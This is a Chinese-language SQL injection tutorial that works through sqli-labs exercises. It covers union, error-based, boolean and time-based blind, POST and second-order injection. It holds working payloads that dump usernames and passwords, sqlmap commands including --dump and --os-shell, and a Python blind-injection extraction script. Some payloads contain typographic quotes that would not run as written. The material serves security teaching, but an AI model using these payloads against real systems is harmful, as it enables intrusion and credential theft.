sql注入
- 联合查询注入
- 案例
- 手工注入
- 判断是否有SQL注入漏洞
- sqlmap工具注入
- 报错注入
- 常用的函数
- updatexml()函数
- 案例
- floor()
- 涉及的函数
- 实现
- 手工注入
- sqlmap工具注入
- 盲注
- 布尔盲注
- 案例
- 手工注入
- 脚本
- sqlmap自动化工具
- 时间盲注
- post注入
- GET传参和POST传参
- 案例
- 手工注入
- sqlmap工具
- 二次注入
联合查询注入
联合查询注入用到的关键词是union
,但是在联合查询的时候必须要满足两张表的列数是相同的不然会出错
案例
手工注入
判断是否有SQL注入漏洞
1,当输入Less-1/?id=1时会显示显示对应的Login name与Password,可以证明我们输入的内容是在数据库里面查询
2,判断SQL语句是否是拼接
a,当我们输入1’时会报错
b,当我们输入1'--+
时不会报错,就可以使用联合查询的方式进行sql注入
注意:最后的--+
是注释符,在Mysql中注释符有--空格
,#
,/**/
,在浏览器中为什么用–+来注释而不是–空格,因为在url传参时,空格会被忽略掉,+
号会被解析成空格。
我们要了解有多少列可以用order by进行查询
在输入3的时候页面正常显示,
输入4的时候页面访问错误。说明有三列
3.爆破在这三个列那个列是在页面显示的
从显示来看第2,3列里面数据是显示在页面的
4.爆破数据库名
输入?id=1’union select 1,database(),3–+显示出数据库名是security
5.爆破表
在数据库里面默认有一个库information_schema里面有所有表的信息。
输入?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+时会爆破出表名
6.爆破字段名
上一步我们获取了4张表,根据表名可以猜到用户的账户密码在users里面
输入?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+得到了两个敏感的字段,username和password
7.爆破用户名和密码
输入?id=-1’ union select 1,2,group_concat(id,username,password) from users --+就可以得到对应的信息
sqlmap工具注入
1.命令大全
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
--dbs 列出所有的数据库
--current-db 列出当前数据库
--tables 列出当前的表
--columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
--dump 获取字段中的数据
--batch 自动选择yes
--smart 启发式快速判断,节约浪费时间
--forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
--tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
--delay 设置多久访问一次
--os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
--level 设置注入探测等级
--risk 风险等级
--identify-waf 检测防火墙类型
--param-del="分割符" 设置参数的分割符
--skip-urlencode 不进行url编码
--keep-alive 设置持久连接,加快探测速度
--null-connection 检索没有body响应的内容,多用于盲注
--thread 最大为10 设置多线程
1.注入库名
python sqlmap.py -u http://192.168.190.1/xh/Less-1/?id=-1' --current-db
2.注入表名
3.注入列
4.拿数据
报错注入
报错注入应用于在输入构造的sql注入语句的时候页面没有回显位
常用的函数
updatexml()函数
在正常情况下,这个函数会返回被修改后的XML文档。但是,如果XPath表达式在XML文档中不存在,或者XML_document不是有效的XML文档,那么函数将返回一个错误
注意:如果使用updatexml函数的时候,要配合mysql截取函数来使用,因为updatexml显示的字段只有32位,显示不全
案例
?id=1‘ ’and updatexml(1,concat('~',(select database())),3) --+
当然后续的步骤和联合查询注入步骤一样,只需要修改database()
注意在最后获取数据的时候,因为updatexml显示有限制,需要用到截取函数来显示
?id=1'and updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,30) from users)),3) --+
floor()
涉及的函数
1.rand()函数: 随机返回0~1间的小数
2.floor()函数: 小数向下取整数。
3.group by子句: 分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组
4.count()函数:汇总统计数量
5.concat()将括号内数据用第一个字段连接起来
注意:rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复
以payload concat(floor(rand(0)*2),database()) 为例子,当执行时会显示1security主键重复,这是为什么呢
在sql执行的时候,floor是向下取整,配合rand(0)*2产生的前五位数字一定是01101,这下就简单了,我们来模拟group_by过程,遍历 表第一行时,先计算出一个 x=0security,查临时表,不存在,再次计算 x 然后插入 x=1security;遍历到第二行,计算出一个 x=1security,临时表中已经存在,继续遍历;遍历到第三行,计算出一个 x=0security,发现表中没有,再次计算 x 然后插入 x=1security,注意已经插入过1security,所以会出现报错,将1security报错出来
实现
手工注入
爆破数据库名
?id=1' union select 1,count(*),concat(floor(rand(0)*2),database())x from information_schema.tables group by x --+
后续的步骤和前面注入的过程类似
#爆表名:(网上有博客说不能使用 group_concat 拼接,但是在 sqli-labs Less-5 测试可以使用。如果不能使用的话,可以使用 limit)
id=-1' union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema="security"))x from information_schema.tables group by x--+
#爆列名:(where 后面有两个判断条件:库名和表名,避免不同库中有相同表名,造成查询出来的数据混乱)
id=-1' union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"))x from information_schema.tables group by x--+
#爆数据:
id=-1' union select 1,count(*),concat(floor(rand(0)*2),(select concat(username,0x7e,password) from `users` limit 0,1))x from information_schema.tables group by x--+
sqlmap工具注入
python sqlmap.py -u http://192.168.190.1/xh/Less-5/?id=-1' -D security -T users -C id,username,password --dump
盲注
布尔盲注
判断是否是布尔类型的:当一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,由于布尔类型的注入只会告知是或者不是,所以只能通过页面返回的对与错来进行一个SQL的注入。
案例
手工注入
1.挨个判断数据库名
/?id=1’ and ascii(substr((select database()),1,1))=115–+
发现数据库第一位是s
然后判断第二位
/?id=1’ and ascii(substr((select database()),2,1))=102–+
…
2.当获取到数据库名时候继续挨个判断表名,列名,以及判断数据
手工的方法比较的麻烦且费时间
脚本
import requests
import math
url = "http://192.168.190.1/xh/Less-8/"
def dblength():
for i in range(20):
payload = f"1' and length(database())>{i}-- "
data = {'id': payload}
res = requests.get(url, params=data)
if 'You are in...........' not in res.text:
return i
def getdbname():
dbname = ''
length = dblength()
for i in range(1, length + 1):
low = 32
high = 126
flag = 0
while low <= high:
mid = (low + high) // 2
payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "
data = {'id': payload}
res = requests.get(url, params=data)
if 'You are in...........' in res.text:
low = mid
else:
high = mid
if mid == flag:
dbname += chr(math.floor(mid + 1))
break
flag = mid
print(dbname)
return dbname
print(getdbname())
利用简单的二分法查找就可以注入出想要的数据
sqlmap自动化工具
python sqlmap.py -u http://192.168.190.1/xh/Less-8/?id=-1' -D security -T users -C id,username,password --dump
时间盲注
时间盲注和布尔盲注的区别是,不管输入的数据正不正确只显示一个跳转页面,当然在注入的时候可以加一个sleep函数使得页面进行沉睡,当访问正确的时候,页面沉睡几秒后跳转,访问错误页面即可跳转。
?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- +
可以利用上述的代码来进行查询
如果页面响应时间超过5秒,说明字符内容判断正确; 如果页面响应时间不超过5秒(正常响应),说明字符内容判断错误,递增猜解该字符的其他可能性。
第一个字符猜解成功后,依次猜解第二个、第三个……第n个
时间盲注所消耗的时间远远比布尔盲注的时间久,有时候还会受网络波动的影响。
当然也可以用脚本来实现,至于要设定一个沉睡时间就可以。
post注入
GET传参和POST传参
GET传参就是我们平常的在访问一个网页地址的时候,网址的网站路径后面加的“?”后面的参数等于…。例如“http://www.xxx.com?id=1”,这里的?id中的id就是以GET传参方式传递的。即:GET方式传递的参数都会在URL中显示出来。GET方式传参如果传递的是用户名和密码的话,就显得数据在传输过程中保密性非常的差。这时候就出来了另一种参数提交方式——POST传参。
POST方式就是不容易泄露敏感信息,因为POST传递的参数的数据都在请求体中,只有通过使用抓包软件才能够获取我们POST方式提交的数据。一般POST的提交方式都会出现在账号登录,密码修改的功能当中。
案例
手工注入
1.在源码的提示下,可以清楚的看到可以利用单引号进行闭合,并且是报错注入
在form表单中进行注入操作
在username里面输入注入信息
admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#
password里面随便书写
进而爆破出数据库名。
接下来就是熟悉的爆破表名,列名以及拿数据
爆破表名
admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
爆破列名
admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
发现没有显示敏感字段,是因为updatexml所显示的字段有限,可以利用截取函数来实现后面的字段的显示
爆破数据
admin' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#
sqlmap工具
因为是post注入,需要用bp来抓取请求包来生成txt文件,利用txt文件来对目标进行注入操作
1.bp抓包并生成txt文件
2.进入到sqlmap工具中,利用-r字段来指定文件
python sqlmap.py -r D:\x.txt -D security -T users -C id,username,password --dump
二次注入
查看源码
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
发现mysql_real_escape_string进行转义处理,无法进行SQL注入
但是又发现,我们可以注册一个账号,注册的账号是admin’#
新用户注册时的代码
if (isset($_POST['submit']))
{
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";
发现在执行的时候sername、password、re_password仍均被mysql_escape_string进行了转义处理。
当我们在上帝视角查看数据时,在表里面显示,并没有被转译掉
这我们就可以用admin’#来登录,然后跳转到修改密码的界面。
我们进行修改密码,发现admin的密码被修改掉了。
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。